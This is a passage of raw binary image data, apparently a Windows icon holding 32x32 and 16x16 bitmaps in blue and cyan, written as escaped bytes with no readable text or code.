00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x00\xff\xff\xff\xff\xff\xff\x00\x00\xff\xff\xff\xff\xff\xff\x00\x00\xff\xff\xff\xff\xff\xff\x00\x00\xff\xff\xff\x80\xff\xff\x00\x00\xfc\x00|\x00?\xff\x00\x00\xfc\x00\x00\x00\x0f\xff\x00\x00\xfc\x00\x00\x00\x00\xff\x00\x00\xff\x00\x00\x00\x00?\x00\x00\xff\xc0\x00\x00\x00?\x00\x00\xff\xe0\x00\x00\x00?\x00\x00\xff\xf0\x00\x00\x00?\x00\x00\xff\xf8\x00\x00\x00?\x00\x00\xff\xfc\x00\x00\x00\x7f\x00\x00\xff\xfe\x00\x00\x01\xff\x00\x00\xff\xff\xe0\x00\x03\xff\x00\x00\xff\xff\xe0\x00\x03\xff\x00\x00\xff\xff\xe0\x00\x03\xff\x00\x00\xff\xff\xe0\x00\x03\xff\x00\x00\xff\xff\xe0\x00\x03\xff\x00\x00\xff\xff\xe0\x00\x03\xff\x00\x00\xff\xff\xe0\x00\x03\xff\x00\x00\xff\xff\xe0\x00\x03\xff\x00\x00\xff\xff\xe0\x00\x03\xff\x00\x00\xff\xff\xe0\x00\x03\xff\x00\x00\xff\xff\xe0\x00\x01\xff\x00\x00\xff\xff\xc0\x00\x01\xff\x00\x00\xff\xff\xc0\x00\x01\xff\x00\x00\xff\xff\xc0\x00\x01\xff\x00\x00\xff\xff\xc0\x00\x01\xff\x00\x00\xff\xff\xc0\x00\x01\xff\x00\x00\xff\xff\xc0\x00\x01\xff\x00\x00\xff\xff\xc0\x00\x01\xff\x00\x00\xff\xff\xc0\x00\x01\xff\x00\x00\xff\xff\xc0\x00\x01\xff\x00\x00\xff\xff\xc0\x00\x01\xff\x00\x00\xff\xff\xc0\x00\x01\xff\x00\x00\xff\xff\xe0\x00\x03\xff\x00\x00\xff\xff\xf0\x00\x07\xff\x00\x00\xff\xff\xf8\x00\x0f\xff\x00\x00\xff\xff\xf8\x00\x0f\xff\x00\x00\xff\xff\xfc\x00\x1f\xff\x00\x00\xff\xff\xfe\x00\x1f\xff\x00\x00\xff\xff\xfe\x00\x7f\xff\x00\x00\xff\xff\xff\x7f\xff\xff\x00\x00\xff\xff\xff\xff\xff\xff\x00\x00\xff\xff\xff\xff\xff\xff\x00\x00\xff\xff\xff\xff\xff\xff\x00\x00(\x00\x00\x00 \x00\x00\x00@\x00\x00\x00\x01\x00 \x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#:\xcf\x02#:\xcf\x05"7\xcd\x04\x11\x18\xb5\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 1\xcc\x0e\'D\xd3D*M\xd6\x85-T\xd9\xa01`\xdd\x861`\xdd*\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#:\xcf\x1b#:\xcf\x94#:\xcf\xb6$<\xd0\xb0%@\xd1\x9f#:\xcf\x8b#9\xcfv"8\xced"8\xceW"8\xceP"8\xceP"8\xce]#;\xcf\x83\'F\xd3\xc3-T\xd9\xf4)K\xd5\xff+P\xd7\xff/Z\xdb\xff1`\xdd\xd51`\xdd^1`\xdd\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#:\xcf/#:\xcf\xe6#:\xcf\xff#;\xcf\xff&C\xd2\xff+N\xd7\xff)J\xd5\xff\'E\xd3\xff&C\xd2\xfd&B\xd2\xfb\'D\xd3\xfc)J\xd5\xfe,R\xd8\xff0\\\xdc\xff1`\xdd\xff1_\xdd\xff1_\xdd\xff1_\xdd\xff1`\xdd\xff1`\xdd\xf91`\xdd\xcd1`\xdd\x8e-]\xdcT-]\xdc#*Z\xdc\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#:\xcf\x02#:\xcfJ#:\xcf\xbf#:\xcf\xfa#;\xcf\xff+P\xd7\xff1`\xdd\xff1`\xdd\xff0^\xdc\xff0^\xdc\xff1_\xdd\xff1`\xdd\xff1a\xdd\xff1a\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff:g\xde\xffp\x91\xe7\xfbAl\xe0\xe23a\xdd\x80.]\xdc\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#:\xcf\x10#:\xcfp#:\xcf\xeb$;\xd0\xff)K\xd5\xff/Z\xdb\xff1_\xdd\xff0_\xdc\xff/\\\xdb\xff/Z\xdb\xff/Y\xdb\xff.Y\xdb\xff/Y\xdb\xff0^\xdc\xff1`\xdd\xff1_\xdd\xff1_\xdd\xff1`\xdd\xff1`\xdd\xff5c\xde\xffNv\xe2\xff\x89\xa4\xec\xffp\x91\xe7\xec$V\xdb0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#:\xcf\x01#:\xcfc#:\xcf\xf2#:\xcf\xff%>\xd1\xff\'E\xd3\xff,Q\xd8\xff\'F\xd4\xff$=\xd0\xff%@\xd0\xff(M\xd0\xff/g\xcf\xff8\x87\xd0\xff<\x93\xd6\xff8\x7f\xd7\xff4n\xd9\xff2c\xdb\xff1_\xdd\xff1_\xdd\xff,\\\xdc\xffu\x95\xe8\xff\x7f\x9c\xea\xec"U\xdb0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#:\xcf\x04#:\xcfm#:\xcf\xee#:\xcf\xff#:\xcf\xff$>\xd0\xff(M\xd0\xff%B\xcf\xff2q\xcc\xff>\x9d\xcc\xffA\xa8\xcc\xffB\xae\xd0\xffJ\xcb\xee\xffJ\xc9\xed\xffF\xb9\xe3\xff@\xa4\xdb\xff;\x8c\xd7\xff6v\xd8\xff1b\xdc\xff6d\xde\xfd9f\xde\x99(Y\xdc\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#:\xcf\x03#:\xcfH#:\xcf\xb5#9\xcf\xed&E\xcf\xfd9\x8a\xcd\xff+T\xd1\xff)U\xc3\xff>\xa3\xc8\xff?\xa8\xcb\xffA\xac\xd0\xffK\xd0\xf5\xffL\xd9\xfe\xffM\xd8\xfd\xffM\xd7\xfa\xffL\xd1\xf4\xffC\xb0\xdc\xfd4m\xd9\xce0^\xddp,\\\xdc\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#:\xcf\n!4\xcf0-_\xcet?\xa3\xcc\xf34\x81\xc7\xff3y\xc0\xffM\xac\xce\xffd\xb9\xd5\xff]\xb9\xd7\xffT\xd2\xf4\xffu\xe1\xfe\xffb\xdc\xfd\xffS\xd9\xfd\xffM\xd9\xfe\xffG\xc0\xe5\xf3>\x9a\xccA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xaa\xcc4A\xa9\xcc\xf0{\xc4\xdb\xff\xbe\xe2\xed\xff\xdc\xef\xf6\xff\xf3\xfa\xfc\xff\x9f\xd7\xe9\xfff\xd5\xf4\xff\xeb\xfb\xff\xff\xea\xfa\xff\xff\xce\xf4\xfe\xff\xa6\xec\xff\xffV\xc7\xe9\xf8>\xa7\xcaF\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xa9\xccEB\xaa\xcc\xf8\xaf\xdb\xe9\xff\xd8\xee\xf5\xff\xbd\xe1\xed\xff\xf3\xf9\xfc\xff\xa2\xd8\xe9\xffV\xd1\xf3\xff\xa9\xed\xff\xff\xd6\xf6\xff\xff\xf3\xfc\xff\xff\xf4\xfd\xff\xffl\xcf\xec\xfd;\xa8\xcdX\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xa9\xccWB\xa9\xcc\xfdQ\xb0\xd0\xffJ\xad\xce\xffR\xb1\xd1\xff\xe3\xf2\xf7\xff\x9f\xd6\xe8\xffK\xce\xf3\xffY\xdb\xfe\xffW\xda\xfd\xff\x86\xe4\xfe\xff\xf1\xfd\xff\xffw\xd4\xf0\xff<\xaa\xcfk\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xa9\xccjA\xa9\xcc\xff@\xa9\xcc\xff?\xa8\xcc\xffS\xb1\xd1\xff\xe4\xf3\xf8\xff\x9a\xd4\xe7\xff\\\xd2\xf3\xff\xcf\xf5\xff\xff\xc4\xf2\xfe\xff\xb9\xf0\xfe\xff\xf7\xfe\xff\xff\x82\xda\xf3\xff<\xad\xd1\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xa9\xcc}A\xa9\xcc\xffA\xa9\xcc\xff@\xa8\xcc\xffT\xb2\xd1\xff\xe5\xf3\xf8\xff\x97\xd3\xe6\xff^\xd2\xf3\xff\xea\xfb\xff\xff\xfa\xfe\xff\xff\xfa\xfe\xff\xff\xff\xff\xff\xff\x8f\xdf\xf6\xff>\xaf\xd4\x92\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xa9\xcc\x91A\xa9\xcc\xffA\xa9\xcc\xff@\xa8\xcc\xffU\xb2\xd1\xff\xe6\xf4\xf8\xff\x95\xd2\xe6\xff\\\xd1\xf2\xff\xea\xfb\xff\xff\xad\xed\xfe\xffy\xe2\xfd\xff\x96\xe8\xfe\xffr\xdb\xf8\xffB\xb3\xd7\xa5,\\|\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xa9\xcc\x01A\xa9\xcc\xa4A\xa9\xcc\xffA\xa9\xcc\xff@\xa8\xcc\xffV\xb2\xd2\xff\xe7\xf4\xf8\xff\x93\xd1\xe5\xff[\xd1\xf2\xff\xe9\xfb\xff\xff\x9a\xe9\xfe\xffF\xd6\xfd\xffI\xd7\xfd\xffK\xd4\xf9\xffE\xb6\xda\xb7:\x91\xb3\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xa9\xcc\x06A\xa9\xcc\xb6A\xa9\xcc\xffA\xa9\xcc\xff@\xa8\xcc\xffW\xb3\xd2\xff\xe8\xf5\xf9\xff\x91\xd0\xe4\xffZ\xd0\xf2\xff\xe7\xfa\xff\xff\xbd\xf0\xfe\xffv\xe1\xfd\xffh\xde\xfd\xffW\xd8\xfb\xffE\xb9\xdd\xc8=\x9b\xbe\r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xa9\xcc\rA\xa9\xcc\xc7A\xa9\xcc\xffA\xa9\xcc\xff?\xa8\xcc\xff[\xb5\xd3\xff\xeb\xf6\xfa\xff\x8f\xcf\xe3\xffY\xd0\xf1\xff\xe5\xfa\xff\xff\xff\xff\xff\xff\xfa\xfe\xff\xff\xf2\xfc\xff\xff\xb2\xed\xfd\xffH\xbc\xe0\xd6=\xa0\xc2\x16\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xa9\xcc\x16A\xa9\xcc\xd6A\xa9\xcc\xffA\xa9\xcc\xff@\xa9\xcc\xffR\xb1\xd1\xff\xa3\xd5\xe6\xffj\xbe\xd9\xffR\xce\xf1\xff\xa1\xeb\xff\xff\xbc\xf0\xfe\xff\xc7\xf3\xfe\xff\xd5\xf6\xff\xff\xb3\xee\xfe\xffK\xc0\xe3\xe3>\xa3\xc6"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xa9\xcc!A\xa9\xcc\xe2A\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xff@\xa8\xcc\xffA\xab\xce\xffK\xcd\xf2\xffM\xd9\xfe\xffN\xd8\xfd\xffQ\xd9\xfd\xffT\xda\xfd\xffV\xda\xfe\xffI\xc3\xe7\xed@\xa5\xc8/\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xa9\xcc/A\xa9\xcc\xedA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xaa\xcd\xffI\xc4\xe9\xffL\xcf\xf4\xffL\xd0\xf5\xffL\xd1\xf6\xffL\xd3\xf7\xffM\xd4\xf9\xffH\xc3\xe7\xf5A\xa7\xca?\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\xa6\xca:A\xa8\xcb\xf2A\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffC\xaf\xd2\xffH\xc3\xe7\xffI\xc5\xe9\xffI\xc6\xe9\xffI\xc5\xe8\xffH\xc2\xe6\xffH\xc2\xe6\xffG\xbe\xe2\xf6D\xb4\xd7E\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00<\x95\xc3\x11>\x9c\xc6\xad@\xa6\xcb\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xaa\xcd\xffI\xc6\xea\xffN\xd9\xfe\xffN\xd7\xfd\xffB\xb5\xe2\xffE\xbb\xe6\xffN\xd9\xfd\xffN\xd7\xfc\xffN\xd6\xfb\xabL\xd2\xf7\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00:\x8b\xbf$=\x97\xc4\xca@\xa5\xca\xffA\xa9\xcc\xffA\xa8\xcb\xffF\xba\xde\xffN\xd7\xfc\xffO\xda\xfe\xff:\x9b\xce\xff\x181\x83\xff#K\xaa\xffG\xc1\xf4\xffN\xda\xfe\xd0N\xd8\xfd&\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00:\x8b\xbe=<\x94\xc2\xe1@\xa3\xc9\xffC\xb1\xd4\xffL\xd1\xf6\xffN\xd8\xfe\xffN\xd9\xfe\xff0}\xb9\xff\x1a+\xa4\xff\'J\xd2\xffE\xb7\xf3\xeaP\xde\xffH\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00:\x8a\xbe[<\x95\xc4\xf1I\xc5\xeb\xffN\xd9\xfe\xffN\xd8\xfd\xffN\xd9\xfd\xffJ\xca\xf4\xff9\x8e\xe4\xffB\xad\xf1\xfcN\xd7\xfduU\xf2\xff\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\'D\x84\x04C\xad\xda\xa2M\xd4\xfa\xffN\xd8\xfd\xffN\xd8\xfd\xffN\xd8\xfd\xfcN\xd9\xfd\xf3O\xda\xfe\xe8O\xda\xfe\xc3N\xd9\xfd \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00E\xb5\xe0dM\xd5\xfb\xa8N\xd8\xfd\x89N\xd8\xfdnN\xd8\xfdSN\xd8\xfd;N\xd8\xfd&N\xd8\xfd\x14N\xd8\xfd\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00B\xaa\xd8\x03K\xcc\xf3\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xc7\xff\xf0~\x03\xff\xf0\x00\x00\x7f\xf8\x00\x00\x0f\xfe\x00\x00\x0f\xff\x00\x00\x0f\xff\x80\x00\x0f\xff\xc0\x00?\xff\xf8\x00\x7f\xff\xf8\x00\x7f\xff\xf8\x00\x7f\xff\xf8\x00\x7f\xff\xf8\x00\x7f\xff\xf8\x00?\xff\xf0\x00?\xff\xf0\x00?\xff\xf0\x00?\xff\xf0\x00?\xff\xf0\x00?\xff\xf0\x00?\xff\xf0\x00?\xff\xf0\x00?\xff\xf0\x00?\xff\xf8\x00\x7f\xff\xfc\x00\xff\xff\xfe\x01\xff\xff\xfe\x01\xff\xff\xff?\xff\xff\xff\xff\xff\xff\xff\xff\xff(\x00\x00\x00\x10\x00\x00\x00 \x00\x00\x00\x01\x00 \x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#;\xcd\x01-V\xd9\t1a\xdd\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#:\xcf\r#:\xcfW$>\xd0\\%>\xd1I#9\xcf:#9\xcf4%?\xd1C*N\xd6\x81,R\xd8\xbc0]\xdc\x971a\xdd,-Y\xd9\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#:\xcf\x13#:\xcf\xaa$>\xd0\xf9+N\xd7\xfa,S\xd8\xf3,R\xd8\xf1.W\xda\xf70]\xdc\xff0]\xdc\xff1^\xdd\xfe1_\xdd\xe4Fp\xe1\xafNw\xe2c0_\xdd\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#:\xcf\x0c#:\xcfu&A\xd2\xf4+O\xd7\xff,S\xd8\xff+P\xd6\xff/a\xd5\xff6x\xd9\xff5q\xdb\xff1d\xdb\xff?j\xdf\xffk\x8d\xe7\xe2Ir\xe1#\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#:\xcf\x06#9\xcfk#9\xcf\xd9*T\xcf\xf9*^\xcb\xff:\x98\xc9\xffF\xbb\xe0\xffH\xc7\xf2\xffA\xb0\xe8\xff8\x7f\xdc\xeb>h\xdf\x80Cn\xe0\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#:\xcf\x02\x1f/\xcf\x1b>\x95\xcd\xa6l\xab\xd6\xff\x9a\xcf\xe3\xffw\xd1\xec\xff\x9f\xeb\xff\xff\x88\xe5\xfc\xffQ\xbf\xe4\x9d\x00\x00\x99\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00I\xad\xce\x9d~\xc6\xdc\xff\xba\xdf\xec\xff\x88\xd9\xf1\xff\x95\xe7